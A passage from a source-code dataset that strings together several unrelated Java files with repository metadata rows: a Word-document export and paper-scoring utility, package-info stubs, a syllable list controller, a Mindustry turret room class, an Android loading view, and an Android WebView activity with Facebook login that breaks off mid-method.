} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} finally {
if(fin != null)
try {
fin.close();
if(out != null) out.close();
if(file != null) file.delete(); // 删除临时文件
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static File paperDoc(Map<String,Object> dataMap,String fileName) throws UnsupportedEncodingException {
//dataMap 要填入模本的数据文件
//设置模本装置方法和路径,FreeMarker支持多种模板装载方法。可以重servlet,classpath,数据库装载,
//这里我们的模板是放在template包下面
String prefix = MDoc.class.getResource("/").getPath();
File file = new File(new File(prefix).getParent(),"/conf");
File cacheDir = new File(new File(prefix).getParent(),"cache");
if(!cacheDir.exists())
cacheDir.mkdir();
// configuration.setClassForTemplateLoading(this.getClass(), "/conf");
Template t=null;
try {
configuration.setDirectoryForTemplateLoading(file);
//test.ftl为要装载的模板
t = configuration.getTemplate("papersTempl.ftl");
} catch (IOException e) {
e.printStackTrace();
}
//输出文档路径及名称
File outFile = new File(cacheDir,fileName);
Writer out = null;
FileOutputStream fos=null;
try {
fos = new FileOutputStream(outFile);
OutputStreamWriter oWriter = new OutputStreamWriter(fos,"UTF-8");
//这个地方对流的编码不可或缺,使用main()单独调用时,应该可以,但是如果是web请求导出时导出后word文档就会打不开,并且包XML文件错误。主要是编码格式不正确,无法解析。
//out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(outFile)));
out = new BufferedWriter(oWriter);
} catch (FileNotFoundException e1) {
e1.printStackTrace();
}
try {
t.process(dataMap, out);
out.close();
fos.close();
} catch (TemplateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return outFile;
}
public static void getPapers(String fileName,HttpServletResponse resp,List<InstitutionPaper> papers,
Map<Integer,List<InstitutionAuthor>> authorMap,Map<Integer, InstitutionPublication> pubMap,HttpServletRequest request){
Map<String, Object> dataMap = new HashMap<String, Object>();
//论文
int index = 1;
List<Map<String, Object>> list1 = new ArrayList<Map<String, Object>>();
for (InstitutionPaper paper : papers) {
StringBuffer auth=new StringBuffer();
Map<String, Object> map = new HashMap<String, Object>();
auth.append(index+". "+paper.getTitle()+".");
// map.put("seq", index);
// map.put("title", paper.getTitle());
if(authorMap.get(paper.getId())!=null){
for (InstitutionAuthor author : authorMap.get(paper.getId())) {
if(author.isCommunicationAuthor()){
auth.append(author.getAuthorName()+"(*),");
}else{
auth.append(author.getAuthorName()+",");
}
}
// auth.deleteCharAt(auth.length()-1);
}
// map.put("author", auth);
if(pubMap!=null){
auth.append(" "+(pubMap.get(paper.getPublicationId())==null?"":pubMap.get(paper.getPublicationId()).getPubName())+".");
}
if(paper.getSummary()!=null&&!"".equals(paper.getSummary())){
auth.append("\r\n");
auth.append(" 摘要:"+paper.getSummary());
}
// map.put("pub", pubMap.get(paper.getPublicationId())==null?"":pubMap.get(paper.getPublicationId()).getPubName());
// map.put("summary", paper.getSummary()==null?"":paper.getSummary());
replaceAll(auth,"&", "&");
replaceAll(auth,"<", "<");
replaceAll(auth,">", ">");
map.put("paper", auth);
list1.add(map);
index++;
}
dataMap.put("table1", list1);
MDoc doc= new MDoc();
File file = null;
InputStream fin = null;
ServletOutputStream out = null;
try{
file=paperDoc(dataMap, fileName);
fin = new FileInputStream(file);
resp.setCharacterEncoding("utf-8");
resp.setContentType("application/msword");
// 设置浏览器以下载的方式处理该文件默认名为resume.doc
// resp.addHeader("Content-Disposition", "attachment;filename="+BrowseUtils.encodeFileName(request.getHeader("User-Agent"),fileName+".doc"));
resp.setHeader("Content-Disposition", BrowseUtils.encodeFileName(request.getHeader("User-Agent"),fileName+".doc"));
out = resp.getOutputStream();
byte[] buffer = new byte[512]; // 缓冲区
int bytesToRead = -1;
// 通过循环将读入的Word文件的内容输出到浏览器中
while((bytesToRead = fin.read(buffer)) != -1) {
out.write(buffer, 0, bytesToRead);
}
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} finally {
if(fin != null)
try {
fin.close();
if(out != null) out.close();
if(file != null) file.delete(); // 删除临时文件
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static StringBuffer replaceAll(StringBuffer sb, String oldStr, String newStr) {
int i = sb.indexOf(oldStr);
int oldLen = oldStr.length();
int newLen = newStr.length();
while (i > -1) {
sb.delete(i, i + oldLen);
sb.insert(i, newStr);
i = sb.indexOf(oldStr, i + newLen);
}
return sb;
}
public static File achievementsDoc(Map<String,Object> dataMap,String fileName) throws UnsupportedEncodingException {
//dataMap 要填入模本的数据文件
//设置模本装置方法和路径,FreeMarker支持多种模板装载方法。可以重servlet,classpath,数据库装载,
//这里我们的模板是放在template包下面
String prefix = MDoc.class.getResource("/").getPath();
File file = new File(new File(prefix).getParent(),"/conf");
File cacheDir = new File(new File(prefix).getParent(),"cache");
if(!cacheDir.exists())
cacheDir.mkdir();
// configuration.setClassForTemplateLoading(this.getClass(), "/conf");
Template t=null;
try {
configuration.setDirectoryForTemplateLoading(file);
//test.ftl为要装载的模板
t = configuration.getTemplate("achievementsTempl.ftl");
} catch (IOException e) {
e.printStackTrace();
}
//输出文档路径及名称
File outFile = new File(cacheDir,fileName);
Writer out = null;
FileOutputStream fos=null;
try {
fos = new FileOutputStream(outFile);
OutputStreamWriter oWriter = new OutputStreamWriter(fos,"UTF-8");
//这个地方对流的编码不可或缺,使用main()单独调用时,应该可以,但是如果是web请求导出时导出后word文档就会打不开,并且包XML文件错误。主要是编码格式不正确,无法解析。
//out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(outFile)));
out = new BufferedWriter(oWriter);
} catch (FileNotFoundException e1) {
e1.printStackTrace();
}
try {
t.process(dataMap, out);
out.close();
fos.close();
} catch (TemplateException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return outFile;
}
public static void getAchievements(String fileName,HttpServletResponse resp,List<InstitutionPaper> papers,
Map<Integer,List<InstitutionAuthor>> authorMap,Map<Integer, InstitutionPublication> pubMap,InstitutionMemberFromVmt mem,
Map<Integer, InstitutionDepartment> deptMap,List<InstitutionAuthor> authors,HttpServletRequest request){
Map<String, Object> dataMap = new HashMap<String, Object>();
dataMap.put("name",mem.getTrueName());
dataMap.put("dept", deptMap.get(mem.getDepartId())==null?"":deptMap.get(mem.getDepartId()).getShortName());
//发表期刊的十个条件
List<InstitutionPaper> list1 = new ArrayList<InstitutionPaper>();
List<InstitutionPaper> list2 = new ArrayList<InstitutionPaper>();
List<InstitutionPaper> list3 = new ArrayList<InstitutionPaper>();
List<InstitutionPaper> list4 = new ArrayList<InstitutionPaper>();
List<InstitutionPaper> list5 = new ArrayList<InstitutionPaper>();
List<InstitutionPaper> list6 = new ArrayList<InstitutionPaper>();
List<InstitutionPaper> list7 = new ArrayList<InstitutionPaper>();
List<InstitutionPaper> list8 = new ArrayList<InstitutionPaper>();
List<InstitutionPaper> list9 = new ArrayList<InstitutionPaper>();
Map<Integer,List<InstitutionPaper>> paperMap = new HashMap<Integer,List<InstitutionPaper>>();
for (InstitutionPaper paper : papers) {
StringBuffer auth=new StringBuffer();
Map<String, Object> map = new HashMap<String, Object>();
if(pubMap.get(paper.getPublicationId())!=null&&pubMap.get(paper.getPublicationId()).getPubName().equals("NATURE")){
list1.add(paper);
}
else if(pubMap.get(paper.getPublicationId())!=null&&pubMap.get(paper.getPublicationId()).getPubName().equals("SCIENCE")){
list1.add(paper);
paperMap.put(1, list1);
}
else if(pubMap.get(paper.getPublicationId())!=null&&Double.parseDouble(pubMap.get(paper.getPublicationId()).getIfs())>5){
list2.add(paper);
paperMap.put(2, list2);
}
else if(pubMap.get(paper.getPublicationId())!=null&&Double.parseDouble(pubMap.get(paper.getPublicationId()).getIfs())>3&&Double.parseDouble(pubMap.get(paper.getPublicationId()).getIfs())<=5){
list3.add(paper);
paperMap.put(3, list3);
}
else if(pubMap.get(paper.getPublicationId())!=null&&(Double.parseDouble(pubMap.get(paper.getPublicationId()).getIfs())>1&&Double.parseDouble(pubMap.get(paper.getPublicationId()).getIfs())<=3
||pubMap.get(paper.getPublicationId()).getPubName().equals("大气科学进展"))){
list4.add(paper);
paperMap.put(4, list4);
}
else if(pubMap.get(paper.getPublicationId())!=null&&pubMap.get(paper.getPublicationId()).getPubName().equals("大气和海洋科学快报")){
list5.add(paper);
paperMap.put(5, list5);
}
else if(pubMap.get(paper.getPublicationId())!=null&&Double.parseDouble(pubMap.get(paper.getPublicationId()).getIfs())<=1){
list6.add(paper);
paperMap.put(6, list6);
}
else if(pubMap.get(paper.getPublicationId())!=null&&(!isContainChinese(pubMap.get(paper.getPublicationId()).getPubName())&&
!pubMap.get(paper.getPublicationId()).getPublicationType().equals("SCI"))||pubMap.get(paper.getPublicationId()).getPublicationType().equals("SCIE")
||pubMap.get(paper.getPublicationId()).getPubName().equals("大气科学")||pubMap.get(paper.getPublicationId()).getPubName().equals("气候与环境研究")){
list7.add(paper);
paperMap.put(7, list7);
}
else if(pubMap.get(paper.getPublicationId())!=null&&(!isContainChinese(pubMap.get(paper.getPublicationId()).getPubName())&&
!pubMap.get(paper.getPublicationId()).getPublicationType().equals("SCI"))){
list8.add(paper);
paperMap.put(8, list8);
}
}
Map<Integer,Integer> scoreMap = new HashMap<Integer,Integer>();
scoreMap.put(1, 120);
scoreMap.put(2, 70);
scoreMap.put(3, 50);
scoreMap.put(4, 40);
scoreMap.put(5, 30);
scoreMap.put(6, 20);
scoreMap.put(7, 15);
scoreMap.put(8, 8);
String value="";
int order=0;
int sum=0;
//论文
int index = 1;
List<Map<String, Object>> list11 = new ArrayList<Map<String, Object>>();
for(int i=1;i<=8;i++){
for(int k=1;k<=6;k++){
dataMap.put("no"+i+k, "");
}
dataMap.put("N"+i, paperMap.get(i)==null?0:paperMap.get(i).size());
if(paperMap.get(i)!=null){
for (int j=1;j<=paperMap.get(i).size()&&j<=6;j++) {
//附件论文
StringBuffer sb = new StringBuffer();
InstitutionPaper p=paperMap.get(i).get(j-1);
sb.append(index+". "+p.getTitle()+".");
for (InstitutionAuthor author : authorMap.get(p.getId())) {
for (InstitutionAuthor a : authors) {
if(a.getId()==author.getId()){
order=author.getOrder();
}
}
sb.append(author.getAuthorName()+",");
}
sb.append(p.getPublicationYear()+".");
if(pubMap.get(p.getPublicationId())!=null){
sb.append(pubMap.get(p.getPublicationId()).getPubName()+","+pubMap.get(p.getPublicationId()).getIfs());
}
index++;
Map<String, Object> map = new HashMap<String, Object>();
map.put("paper", sb);
list11.add(map);
value=order+"/"+p.getAuthorAmount();
dataMap.put("no"+i+j, value);
}
sum+=paperMap.get(i).size()*scoreMap.get(i);
}
dataMap.put("sum"+i, paperMap.get(i)==null?"":paperMap.get(i).size()*scoreMap.get(i));
}
dataMap.put("sum", sum);
dataMap.put("score", sum);
dataMap.put("table1", list11);
MDoc doc= new MDoc();
File file = null;
InputStream fin = null;
ServletOutputStream out = null;
try{
file=achievementsDoc(dataMap, fileName);
fin = new FileInputStream(file);
resp.setCharacterEncoding("utf-8");
resp.setContentType("application/msword");
// 设置浏览器以下载的方式处理该文件默认名为resume.doc
// resp.addHeader("Content-Disposition", "attachment;filename="+new String( fileName.getBytes("utf-8"), "ISO8859-1" )+".doc");
resp.setHeader("Content-Disposition", BrowseUtils.encodeFileName(request.getHeader("User-Agent"),fileName+".doc"));
out = resp.getOutputStream();
byte[] buffer = new byte[512]; // 缓冲区
int bytesToRead = -1;
// 通过循环将读入的Word文件的内容输出到浏览器中
while((bytesToRead = fin.read(buffer)) != -1) {
out.write(buffer, 0, bytesToRead);
}
} catch (UnsupportedEncodingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} finally {
if(fin != null)
try {
fin.close();
if(out != null) out.close();
if(file != null) file.delete(); // 删除临时文件
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static boolean isContainChinese(String str) {
Pattern p = Pattern.compile("[\u4e00-\u9fa5]");
Matcher m = p.matcher(str);
if (m.find()) {
return true;
}
return false;
}
}
|
3e0e5333cb62a79a5edcbb3ff0429eefd2299254 | 918 | java | Java | src/main/java/org/encog/ml/data/versatile/missing/package-info.java | rahulchaudhary2244/encog-java-core | fc7b3602666399cc3a614c1f85ae2b3c52552bf4 | [
"BSD-3-Clause"
] | 491 | 2015-01-03T19:24:46.000Z | 2019-09-26T01:49:12.000Z | src/main/java/org/encog/ml/data/versatile/missing/package-info.java | Constateam/encog-java-core | 06bed745403a1a670675b606b6ae483fbf7a6b97 | [
"BSD-3-Clause"
] | 75 | 2015-01-20T12:52:10.000Z | 2019-10-13T00:07:52.000Z | src/main/java/org/encog/ml/data/versatile/missing/package-info.java | Constateam/encog-java-core | 06bed745403a1a670675b606b6ae483fbf7a6b97 | [
"BSD-3-Clause"
] | 211 | 2015-01-09T00:36:12.000Z | 2019-09-26T01:49:07.000Z | 36.72 | 75 | 0.736383 | 6,080 | /*
* Encog(tm) Core v3.4 - Java Version
* http://www.heatonresearch.com/encog/
* https://github.com/encog/encog-java-core
* Copyright 2008-2017 Heaton Research, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* For more information on Heaton Research copyrights, licenses
* and trademarks visit:
* http://www.heatonresearch.com/copyright
*/
package org.encog.ml.data.versatile.missing;
|
3e0e54c59789718c0ed2c5ee44e9b423f1b6a9e4 | 2,170 | java | Java | src/main/java/ai/elimu/web/content/syllable/SyllableListController.java | JakubRuzicka/webapp | 3f97cc3e8e9e6396903a9a7e9519da221660608b | [
"Apache-2.0"
] | 2 | 2018-02-21T07:25:16.000Z | 2019-03-03T15:23:13.000Z | src/main/java/ai/elimu/web/content/syllable/SyllableListController.java | JakubRuzicka/webapp | 3f97cc3e8e9e6396903a9a7e9519da221660608b | [
"Apache-2.0"
] | null | null | null | src/main/java/ai/elimu/web/content/syllable/SyllableListController.java | JakubRuzicka/webapp | 3f97cc3e8e9e6396903a9a7e9519da221660608b | [
"Apache-2.0"
] | 3 | 2018-02-24T20:52:28.000Z | 2021-03-24T14:09:31.000Z | 33.384615 | 105 | 0.700922 | 6,081 | package ai.elimu.web.content.syllable;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.HttpSession;
import org.apache.log4j.Logger;
import ai.elimu.dao.StoryBookDao;
import ai.elimu.dao.SyllableDao;
import ai.elimu.dao.WordDao;
import ai.elimu.model.Contributor;
import ai.elimu.model.content.Syllable;
import ai.elimu.model.enums.Locale;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
@Controller
@RequestMapping("/content/syllable/list")
public class SyllableListController {
private final Logger logger = Logger.getLogger(getClass());
@Autowired
private SyllableDao syllableDao;
@Autowired
private StoryBookDao storyBookDao;
@Autowired
private WordDao wordDao;
@RequestMapping(method = RequestMethod.GET)
public String handleRequest(Model model, HttpSession session) {
logger.info("handleRequest");
Contributor contributor = (Contributor) session.getAttribute("contributor");
// To ease development/testing, auto-generate Syllables
List<Syllable> syllablesGenerated = generateSyllables(contributor.getLocale());
for (Syllable syllable : syllablesGenerated) {
logger.info("syllable.getText(): " + syllable.getText());
Syllable existingSyllable = syllableDao.readByText(syllable.getLocale(), syllable.getText());
if (existingSyllable == null) {
syllableDao.create(syllable);
}
}
List<Syllable> syllables = syllableDao.readAllOrdered(contributor.getLocale());
logger.info("syllables.size(): " + syllables.size());
model.addAttribute("syllables", syllables);
return "content/syllable/list";
}
private List<Syllable> generateSyllables(Locale locale) {
List<Syllable> syllables = new ArrayList<>();
// TODO
return syllables;
}
}
|
3e0e54ebb67b6c616d590593a0061dcfd232cdf3 | 2,686 | java | Java | src/main/java/CastleWars/logic/TurretRoom.java | catsz/CastleWars | 595821b69c72acaac758dca43cd9110dd593608d | [
"MIT"
] | 8 | 2021-03-28T17:34:48.000Z | 2021-11-14T20:11:00.000Z | src/main/java/CastleWars/logic/TurretRoom.java | catsz/CastleWars | 595821b69c72acaac758dca43cd9110dd593608d | [
"MIT"
] | 14 | 2021-03-29T06:01:46.000Z | 2021-03-30T23:30:35.000Z | src/main/java/CastleWars/logic/TurretRoom.java | catsz/CastleWars | 595821b69c72acaac758dca43cd9110dd593608d | [
"MIT"
] | 6 | 2021-03-27T08:52:54.000Z | 2021-09-20T09:36:16.000Z | 30.522727 | 92 | 0.607223 | 6,082 | package CastleWars.logic;
import CastleWars.data.Icon;
import CastleWars.data.PlayerData;
import arc.util.Interval;
import mindustry.Vars;
import mindustry.content.Blocks;
import mindustry.content.Items;
import mindustry.content.Liquids;
import mindustry.game.Team;
import mindustry.gen.Call;
import mindustry.type.Item;
import mindustry.world.Block;
import mindustry.world.blocks.defense.turrets.ItemTurret;
import mindustry.world.blocks.defense.turrets.LaserTurret;
public class TurretRoom extends Room {
public boolean buyyed = false;
public Team team;
Interval interval = new Interval(1);
float updateTime = 60f * 15f;
Block block;
public TurretRoom(Team team, Block block, int x, int y, int cost, int size) {
super(x, y, cost, size);
this.team = team;
this.block = block;
label = Icon.get(block) + " :[white] " + cost;
}
@Override
public void buy(PlayerData data) {
data.money -= cost;
buyyed = true;
labelVisible = false;
Call.label(data.player.name + "[lime] buy it", 5, centreDrawx, centreDrawy);
Vars.world.tile(centrex, centrey).setNet(block, team, 0);
if (block instanceof ItemTurret) {
Vars.world.tile(x, centrey).setNet(Blocks.itemSource, team, 0);
Vars.world.tile(x, centrey).build.configure(ammo(block));
} else if (block instanceof LaserTurret) {
Vars.world.tile(x, centrey).setNet(Blocks.liquidSource, team, 0);
Vars.world.tile(x, centrey).build.configure(Liquids.cryofluid);
}
}
@Override
public boolean canBuy(PlayerData data) {
return super.canBuy(data) && !(buyyed = Vars.world.build(centrex, centrey) != null);
}
@Override
public void update() {
if (buyyed && interval.get(0, updateTime)) {
if (Vars.world.tile(centrex, centrey).build == null) {
Vars.world.tile(centrex, centrey).setNet(block, team, 0);
}
}
}
public static Item ammo(Block block) {
if (block == Blocks.foreshadow) {
return Items.surgeAlloy;
}
if (block == Blocks.cyclone) {
return Items.plastanium;
}
if (block == Blocks.ripple) {
return Items.blastCompound;
}
if (block == Blocks.spectre) {
return Items.thorium;
}
if (block == Blocks.fuse) {
return Items.thorium;
}
if (block == Blocks.swarmer) {
return Items.surgeAlloy;
}
if (block == Blocks.salvo) {
return Items.thorium;
}
return Items.copper;
}
}
|
3e0e564b1e197f3f090775b52be7c32362d5da3a | 5,116 | java | Java | app/src/main/java/rocks/teagantotally/ibotta_challenge/ui/views/LoadingView.java | Teagan42/Ibotta-Challenge | 4f821a0fbe9e065603ed5b769458e8655b7dd9fe | [
"MIT"
] | null | null | null | app/src/main/java/rocks/teagantotally/ibotta_challenge/ui/views/LoadingView.java | Teagan42/Ibotta-Challenge | 4f821a0fbe9e065603ed5b769458e8655b7dd9fe | [
"MIT"
] | null | null | null | app/src/main/java/rocks/teagantotally/ibotta_challenge/ui/views/LoadingView.java | Teagan42/Ibotta-Challenge | 4f821a0fbe9e065603ed5b769458e8655b7dd9fe | [
"MIT"
] | null | null | null | 31.580247 | 93 | 0.539093 | 6,083 | package rocks.teagantotally.ibotta_challenge.ui.views;
import android.content.Context;
import android.content.res.ColorStateList;
import android.content.res.TypedArray;
import android.databinding.BindingAdapter;
import android.databinding.DataBindingUtil;
import android.databinding.InverseBindingAdapter;
import android.databinding.ObservableBoolean;
import android.os.Build;
import android.util.AttributeSet;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.ProgressBar;
import android.widget.RelativeLayout;
import java.util.ArrayList;
import rocks.teagantotally.ibotta_challenge.R;
import rocks.teagantotally.ibotta_challenge.databinding.ViewLoadingBinding;
/**
* Created by tglenn on 8/31/17.
*/
public class LoadingView
extends RelativeLayout {
private static final String TAG = "LoadingView";
private ViewLoadingBinding binding;
private ArrayList<View> children = new ArrayList<>();
public LoadingView(Context context) {
super(context);
initialize(null);
}
public LoadingView(Context context,
AttributeSet attrs) {
super(context,
attrs);
initialize(attrs);
}
public LoadingView(Context context,
AttributeSet attrs,
int defStyleAttr) {
super(context,
attrs,
defStyleAttr);
initialize(attrs);
}
/**
* Sets the loading property
*
* @param view Loading view
* @param isLoading Whether it is loading
*/
@BindingAdapter("loading")
public static void setLoading(LoadingView view,
boolean isLoading) {
view.setLoading(isLoading);
}
/**
* Gets the loading property
*
* @param view Loading view
* @return Whether the view is loading
*/
@InverseBindingAdapter(attribute = "loading")
public static boolean isLoading(LoadingView view) {
return view.isLoading();
}
/**
* @return Whether the view is loading
*/
public boolean isLoading() {
return this.binding.getIsLoading()
.get();
}
/**
* Sets whether the view is loading
*
* @param isLoading Whether the view is loading
*/
public void setLoading(boolean isLoading) {
if (isLoading == this.binding.getIsLoading()
.get()) {
return;
}
this.binding.getIsLoading()
.set(isLoading);
int visibility = isLoading
? View.INVISIBLE
: View.VISIBLE;
for (View child : children) {
child.setVisibility(visibility);
}
}
private void initialize(AttributeSet attrs) {
boolean isLoading = false;
ColorStateList color = null;
if (attrs != null) {
TypedArray typedAttributes =
getContext().obtainStyledAttributes(attrs,
R.styleable.LoadingView);
isLoading =
typedAttributes.getBoolean(R.styleable.LoadingView_loading,
false);
color = typedAttributes.getColorStateList(R.styleable.LoadingView_progressColor);
}
if (isInEditMode()) {
inflate(getContext(),
R.layout.view_loading,
this);
if (color != null) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
((ProgressBar) findViewById(R.id.progress))
.setIndeterminateTintList(color);
}
}
findViewById(R.id.children).setVisibility(isLoading
? View.INVISIBLE
: View.VISIBLE);
findViewById(R.id.progress).setVisibility(isLoading
? View.VISIBLE
: View.INVISIBLE);
return;
}
binding = DataBindingUtil.inflate(LayoutInflater.from(getContext()),
R.layout.view_loading,
this,
true);
binding.setIsLoading(new ObservableBoolean(isLoading));
if (color != null) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
binding.progress.setIndeterminateTintList(color);
}
}
}
@Override
protected void onAttachedToWindow() {
super.onAttachedToWindow();
if (isInEditMode()) {
return;
}
View child;
int i = 1;
while ((child = getChildAt(i)) != null) {
children.add(child);
i++;
}
binding.progress.bringToFront();
}
}
|
3e0e56dbb3bc5bf892e01efff82a5d45e67ffb5d | 661 | java | Java | server-api/src/main/java/io/github/ma1uta/matrix/server/package-info.java | dhavalmshah/jeon | 81d3ffb1a7d5fd7b7e845d89757fd250a3054787 | [
"Apache-2.0"
] | null | null | null | server-api/src/main/java/io/github/ma1uta/matrix/server/package-info.java | dhavalmshah/jeon | 81d3ffb1a7d5fd7b7e845d89757fd250a3054787 | [
"Apache-2.0"
] | null | null | null | server-api/src/main/java/io/github/ma1uta/matrix/server/package-info.java | dhavalmshah/jeon | 81d3ffb1a7d5fd7b7e845d89757fd250a3054787 | [
"Apache-2.0"
] | null | null | null | 30.227273 | 75 | 0.730827 | 6,084 | /*
* Copyright ychag@example.com
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Server API.
*/
package io.github.ma1uta.matrix.server;
|
3e0e57b6af56ab7e040bf5501c52d5e8876b76ee | 11,453 | java | Java | app/src/main/java/io/drider/car/WebViewActivity.java | drider-io/drider-android | 8fdfb3ff1a50ac8ce4112a5d92dc65b3035e4637 | [
"MIT"
] | null | null | null | app/src/main/java/io/drider/car/WebViewActivity.java | drider-io/drider-android | 8fdfb3ff1a50ac8ce4112a5d92dc65b3035e4637 | [
"MIT"
] | null | null | null | app/src/main/java/io/drider/car/WebViewActivity.java | drider-io/drider-android | 8fdfb3ff1a50ac8ce4112a5d92dc65b3035e4637 | [
"MIT"
] | null | null | null | 36.708333 | 154 | 0.597223 | 6,085 | package io.drider.car;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.net.Uri;
import android.support.v4.content.LocalBroadcastManager;
import android.support.v7.app.ActionBar;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.WindowManager;
import android.webkit.CookieSyncManager;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import com.facebook.CallbackManager;
import com.facebook.FacebookCallback;
import com.facebook.FacebookException;
import com.facebook.FacebookSdk;
import com.facebook.appevents.AppEventsLogger;
import com.facebook.login.LoginManager;
import com.facebook.login.LoginResult;
import com.squareup.okhttp.Callback;
import com.squareup.okhttp.FormEncodingBuilder;
import com.squareup.okhttp.OkHttpClient;
import com.squareup.okhttp.Request;
import com.squareup.okhttp.RequestBody;
import com.squareup.okhttp.Response;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
public class WebViewActivity extends AppCompatActivity {
CallbackManager callbackManager;
private static final String TAG = "WebViewActivity";
public String intentUrl;
public WebView webview;
BroadcastReceiver receiver;
MenuItem iInternet;
MenuItem iPower;
MenuItem iActive;
MenuItem iStatus;
Context mContext;
private final OkHttpClient client = new OkHttpClient();
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
// getIntent() should always return the most recent
setIntent(intent);
webview.loadUrl(intentUrl);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
mContext = this;
//Settings.getApplicationSignature(Context)
FacebookSdk.sdkInitialize(getApplicationContext());
callbackManager = CallbackManager.Factory.create();
LoginManager.getInstance().registerCallback(callbackManager,
new FacebookCallback<LoginResult>() {
@Override
public void onSuccess(LoginResult loginResult) {
// App code
Log.d(TAG, "1");
sendRegistrationToServer(loginResult.getAccessToken().getToken(), loginResult.getAccessToken().getUserId());
}
@Override
public void onCancel() {
// App code
Log.d(TAG, "1");
}
@Override
public void onError(FacebookException exception) {
// App code
Log.d(TAG, "1");
}
});
setContentView(R.layout.activity_web_view);
// getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON|
// WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD|
// WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED|
// WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
webview = (WebView) findViewById(R.id.webView);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webview.addJavascriptInterface(new MyJavaScriptInterface(this), "injectedAndroid");
webview.getSettings().setCacheMode(WebSettings.LOAD_DEFAULT);
webview.setWebViewClient(new WebViewClient(){
public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
// view.loadUrl("file:///android_asset/custom_error.html");
Log.e(TAG, "error");
}
public void onPageFinished(WebView view, String url) {
CookieSyncManager.getInstance().sync();
// do your stuff here
Log.e(TAG, "page loaded");
if (url.equals("file:///android_asset/loading.html")){
Map<String, String> noCacheHeaders = new HashMap<String, String>(2);
// noCacheHeaders.put("Pragma", "no-cache");
// noCacheHeaders.put("Cache-Control", "no-cache");
// view.loadUrl(intentUrl,noCacheHeaders);
}
}
public boolean shouldOverrideUrlLoading(WebView view, String url) {
// if (url != null && (url.startsWith("https://secure.xsolla.com") || url.startsWith("http://m.odnoklassniki.ru/group/52656150347875") )) {
// view.getContext().startActivity(
// new Intent(Intent.ACTION_VIEW, Uri.parse(url)));
// return true;
// } else
// if(url != null && (url.contains(SERVER_URL) || url.contains("android_asset"))) {
// view.loadUrl(url);
// return false;
// }
Log.i("test","deny to load:"+url);
return false;
}
});
Intent intent = getIntent();
intentUrl = intent.getStringExtra("url");
if (null == intentUrl) intentUrl = "http://" + DriverService.HOST + "/account";
webview.loadUrl(intentUrl);
if (intent.getBooleanExtra("show_on_locked_screen", false)){
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON|
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD|
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED|
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
}
// webview.loadUrl("file:///android_asset/loading.html");
// LoginManager.getInstance().logInWithReadPermissions(this, Arrays.asList("public_profile"));
}
@Override
protected void onPause() {
super.onPause();
// Logs 'app deactivate' App Event.
AppEventsLogger.deactivateApp(this);
}
@Override
public void onResume() {
super.onResume();
// Logs 'install' and 'app activate' App Events.
AppEventsLogger.activateApp(this);
}
@Override
public void onBackPressed() {
if(webview.canGoBack()){
webview.goBack();
}else{
webview.reload();
}
}
@Override
protected void onActivityResult(final int requestCode, final int resultCode, final Intent data) {
super.onActivityResult(requestCode, resultCode, data);
callbackManager.onActivityResult(requestCode, resultCode, data);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_web_view, menu);
iPower = menu.findItem(R.id.menu_power);
